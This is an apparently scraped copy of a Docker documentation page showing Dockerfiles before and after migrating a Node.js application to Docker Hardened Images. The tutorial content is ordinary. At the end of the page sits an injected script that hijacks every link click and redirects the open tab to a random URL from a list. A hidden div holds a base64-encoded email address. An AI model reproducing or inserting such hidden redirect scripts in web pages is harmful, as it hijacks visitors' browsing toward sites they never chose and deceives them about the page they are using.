<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p># Node.js


This example shows how to migrate a Node.js application to Docker Hardened Images.

The following examples show Dockerfiles before and after migration to Docker
Hardened Images. Each example includes five variations:

- Before (Ubuntu): A sample Dockerfile using Ubuntu-based images, before migrating to DHI
- Before (Wolfi): A sample Dockerfile using Wolfi distribution images, before migrating to DHI
- Before (DOI): A sample Dockerfile using Docker Official Images, before migrating to DHI
- After (multi-stage): A sample Dockerfile after migrating to DHI with multi-stage builds (recommended for minimal, secure images)
- After (single-stage): A sample Dockerfile after migrating to DHI with single-stage builds (simpler but results in a larger image with a broader attack surface)

&gt; [!NOTE]
&gt;
&gt; Multi-stage builds are recommended for most use cases. Single-stage builds are
&gt; supported for simplicity, but come with tradeoffs in size and security.
&gt;
&gt; You must authenticate to `dhi.io` before you can pull Docker Hardened Images.
&gt; Use your Docker ID credentials (the same username and password you use for
&gt; Docker Hub). If you don't have a Docker account, [create
&gt; one](/accounts/create-account/) for free.
&gt;
&gt; Run `docker login dhi.io` to authenticate.

**Before (Ubuntu)**



```dockerfile
#syntax=docker/dockerfile:1

FROM ubuntu:24.04

RUN apt-get update &amp;&amp; apt-get install -y nodejs npm --no-install-recommends &amp;&amp; rm -rf /var/lib/apt/lists/*

WORKDIR /usr/src/app

COPY package*.json ./

RUN npm install

COPY . .

CMD ["node", "index.js"]
```

**Before (Wolfi)**



```dockerfile
#syntax=docker/dockerfile:1

FROM cgr.dev/chainguard/node:latest-dev
WORKDIR /usr/src/app

COPY package*.json ./

# Install any additional packages if needed using apk
# RUN apk add --no-cache python3 make g++

RUN npm install

COPY . .

CMD ["index.js"]
```

**Before (DOI)**



```dockerfile
#syntax=docker/dockerfile:1

FROM node:latest
WORKDIR /usr/src/app

COPY package*.json ./

# Install any additional packages if needed using apt
# RUN apt-get update &amp;&amp; apt-get install -y python3 make g++ &amp;&amp; rm -rf /var/lib/apt/lists/*

RUN npm install

COPY . .

CMD ["node", "index.js"]
```

**After (multi-stage)**



```dockerfile
#syntax=docker/dockerfile:1

# === Build stage: Install dependencies and build application ===
FROM dhi.io/node:22-alpine3.23-dev AS builder
WORKDIR /usr/src/app

COPY package*.json ./

# Install any additional packages if needed using apk
# RUN apk add --no-cache python3 make g++

RUN npm install

COPY . .

# === Final stage: Create minimal runtime image ===
FROM dhi.io/node:22-alpine3.23
ENV PATH=/app/node_modules/.bin:$PATH

COPY --from=builder --chown=node:node /usr/src/app /app

WORKDIR /app

CMD ["index.js"]
```

**After (single-stage)**



```dockerfile
#syntax=docker/dockerfile:1

FROM dhi.io/node:22-alpine3.23-dev
WORKDIR /usr/src/app

COPY package*.json ./

# Install any additional packages if needed using apk
# RUN apk add --no-cache python3 make g++

RUN npm install

COPY . .

CMD ["node", "index.js"]
```



</p><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
